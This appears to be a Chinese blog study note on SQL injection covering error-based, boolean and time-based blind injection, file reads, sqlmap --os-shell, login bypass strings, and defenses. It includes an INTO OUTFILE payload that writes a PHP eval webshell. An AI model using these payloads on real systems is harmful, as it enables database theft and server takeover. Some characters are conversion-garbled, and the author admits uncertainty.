自學sql注入(三)

2021-10-08 02:11:48 字數 2316 閱讀 1581

這是筆者自行整理出來的有關sql注入的一些知識點,自己還有些迷迷糊糊,可能有些不對的地方。等學完之後,再來詳寫一系列的關於sql注入的文章

自學sql注入(一)

自學sql注入(二)

1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
boolean是基於真假的判斷(true or false);

不管輸入什麼,結果都只返回真或假兩種情況;

boolean型盲注的關鍵在於通過表示式結果與已知值進行比對,根據比對結果判斷正確與否

boolean型盲注的判斷方式有

通過長度判斷length():

select length(database())>=x
通過字元判斷substr():

select substr(database(),1,1) =『s』
通過ascii碼判斷:ascii():

select ascii(substr(database(),1,1)) =x
頁面不返回任何資訊

通過時間回顯的延遲作為判斷。

利用sleep()或benchmark()函式延長mysql的執行時間;

與if()搭配使用

時間型盲注

payload:if(expr1,expr2,expr3)
語**析:

對expr1進行布林判斷,如果為真,則執行expr2,如果為假,則執行expr3

常用payload:

if(length(database())>1,sleep(5),1)

如果資料庫名字元長度大於1為真,則mysql休眠5秒,否則查詢1

盲注常用函式

left(m,n) --從左向右擷取字串m返回其前n位

substr(m,1,1) --取字串m的左邊第一位起,1字長的字串

ascii(m) --返回字元m的ascii碼

if(str1,str2,str3)–如果str1正確就執行str2,否則執行str3

sleep(m)–使程式暫停m秒

length(m) --返回字串m的長度

count(column_name) --返回指定列的值的數目

利用sql進行讀寫需要乙個非常重要的前置條件:secure_file_priv

在資料庫中輸入show global variables like 『%secure%』命令檢視secure_file_priv的值。

secure_file_priv=null,不能進行寫入匯出;

secure_file_priv=空(什麼都沒有),可以進行寫入匯出;

secure_file_priv=/tmp/,寫入匯出只能在/tmp/進行。

該配置可以在my.cnf中進行修改。

讀取:select load_file(『c:/wamp/www/flag.txt』);讀取檔案,必須知道絕對路徑

寫入:1』 union select 1,2,「<?php@eval($_get[『test』]);?>」 into outfile『c:/wamp/www/test1.php』 %23

1、正常找到注入點;

2、輸入–current-user,獲得當前使用者資訊;

3、輸入–is-dba,檢視是否為資料庫管理員,返回true時代表是管理員

4、輸入–os-shell,嘗試獲得系統許可權,選擇正確的伺服器語言以及上傳路徑

本質上是基於sql注入的永真條件來實現萬能密碼登入

1 or 1=1

1』 or 1=1#

常見於登入面板

使用burpsuite抓包到repeater進行手工注入

將注入請求的資料報儲存到乙個txt文件例如sql.txt,然後在sqlmap中使用sqlmap.py -r "sql.txt"來進行注入

1、對輸入嚴格過濾和轉義

使用addslashes,mysqli_real_escape_string對字元進行過濾或轉義,本質基於黑名單,存在繞過可能性;

2、預編譯和引數化(推薦)

使用pdo的prepare對輸入進行預處理;

3、部署waf(硬體waf,安全狗)

存在繞過可能性

4、雲端防護(360**衛士,阿里雲盾)

通過dns將使用者輸入先解析到雲防護上,確認安全再請求目標伺服器

自學sql注入(二)

這是筆者自行整理出來的有關sql注入的一些知識點,自己還有些迷迷糊糊,可能有些不對的地方。等學完之後,再來詳寫一系列的關於sql注入的文章 自學sql注入 一 自學sql注入 三 sqlmap基礎使用 1 首先利用資料庫自帶的表示式獲取資料庫名 id 1 union select1,2,databa...

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

SQL注入(三)

寬位元組注入 mysql query set names gbk 設定字符集編碼,對資料庫執行之後的結果進行某種編碼 gbk 然後傳遞給使用者,返回gdk編碼的結果 mysql set charset gbk 設定字符集編碼,規定當與資料庫伺服器進行資料傳送時要使用的預設字符集 mysql real...